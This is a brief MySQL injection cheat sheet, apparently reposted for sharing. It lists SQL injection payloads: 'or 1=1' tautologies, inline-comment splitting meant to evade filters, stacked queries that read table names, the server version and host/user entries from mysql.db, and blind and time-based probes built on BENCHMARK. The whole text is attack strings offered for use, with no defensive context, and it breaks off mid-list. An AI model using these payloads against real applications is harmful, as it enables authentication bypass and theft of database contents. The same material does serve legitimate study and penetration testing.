MySQL Injection Cheat Sheet Basics. SELECT * FROM login /* foobar */ SELECT * FROM login WHERE id = 1 or 1=1 SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%" Variations. SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%" SHOW TABLES SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES SELECT VERSION SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION() SELECT host,user,db from mysql.db SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db; Blind injection vectors. Operators SELECT 1 && 1; SELECT 1 || 1; SELECT 1 XOR 0; Evaluate all render TRUE or 1. SELECT 0.1 <= 2; SELECT 2 >= 2; SELECT ISNULL(1/0); Math SELECT FLOOR(7 + ( RAND () * 5)); SELECT ROUND(23.298, -1); Misc SELECT LENGTH(COMPRESS(REPEAT('a',1000))); SELECT MD5('abc'); Benchmark SELECT BENCHMARK(10000000,ENCODE('abc','123')); ...
There is no delight in owning anything unshared. Lets Share